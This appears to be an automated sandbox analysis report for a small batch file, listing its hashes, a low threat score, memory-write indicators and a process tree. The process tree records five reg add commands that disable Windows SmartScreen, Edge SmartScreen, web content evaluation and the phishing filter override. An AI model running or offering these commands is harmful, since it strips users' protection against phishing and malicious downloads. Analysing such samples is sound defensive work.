13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52

Analysis

max time kernel
94s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
04-12-2024 13:57

Target

$_63_/bnn.bat
Size

599B
MD5

a77f19fdf07ee0bdcec8889e50953c81
SHA1

3bf08f4e5f0bc98cd9e370a2adc0111a37eb7c7f
SHA256

65a32afecedfad8e6979735e65db8ac64dc17048d930c5bc6036c62764e6a9a2
SHA512

ece9f684b8e081caf4aec6f1d1373a0931e27694beefa316f94771433d20418cd510443495b7a951f1ea14a8e585f442a5092bcb9dce6c73a73043c319149ff8

Score

1^/10

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1676 wrote to memory of 2180	1676	cmd.exe	84
PID 1676 wrote to memory of 2180	1676	cmd.exe	84
PID 1676 wrote to memory of 4008	1676	cmd.exe	85
PID 1676 wrote to memory of 4008	1676	cmd.exe	85
PID 1676 wrote to memory of 4200	1676	cmd.exe	86
PID 1676 wrote to memory of 4200	1676	cmd.exe	86
PID 1676 wrote to memory of 5032	1676	cmd.exe	87
PID 1676 wrote to memory of 5032	1676	cmd.exe	87
PID 1676 wrote to memory of 528	1676	cmd.exe	88
PID 1676 wrote to memory of 528	1676	cmd.exe	88

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\$_63_\bnn.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1676
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
  2⤵
  PID:2180
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
  2⤵
  PID:4008
- C:\Windows\system32\reg.exe
  reg add "HKCU\SOFTWARE\Policies\Microsoft\Edge" /v "SmartScreenEnabled" /t reg_DWORD /d 0 /f
  2⤵
  PID:4200
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
  2⤵
  PID:5032
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
  2⤵
  PID:528